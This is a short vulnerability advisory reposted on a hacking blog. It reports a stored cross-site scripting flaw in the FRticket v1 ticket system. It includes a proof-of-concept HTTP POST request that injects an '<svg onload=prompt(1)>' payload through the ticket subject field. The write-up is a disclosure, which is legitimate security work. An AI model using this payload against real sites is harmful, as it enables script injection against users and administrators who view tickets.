Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375838

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: FRticket - Ticket System - Stored XSS
# Google Dork: [if applicable]
# Date: 11.06.2016
# Exploit Author: Hamit ABİŞ
# Vendor Homepage: http://codecanyon.net/item/frticket-ticket-system/16539836
# Version: v1

#########################################################################################################

About


Get the world’s most popular customer support ticket system. FRticket is basically a management of enquiries between customers , agents and admins


Features:


- Admin Panel Dashboard

- Email Templates

- Agent Assignment

- Status Management

- Priority Management

- Categories Management

- And More Coming Soon…


#########################################################################################################


##########################################################################################################
Proof of Concept - Stored Ticket Title

POST /ticket/public/ticket HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Connection: keep-alive
_token=3XSACg1vDJQgzFCkVGk7nqE0HMOPlsuo7sbj5Z2y&subject=<svg onload=prompt(1)>&priority=2&category=2&description=somecomments

##########################################################################################################


Twitter: https://twitter.com/sar1nz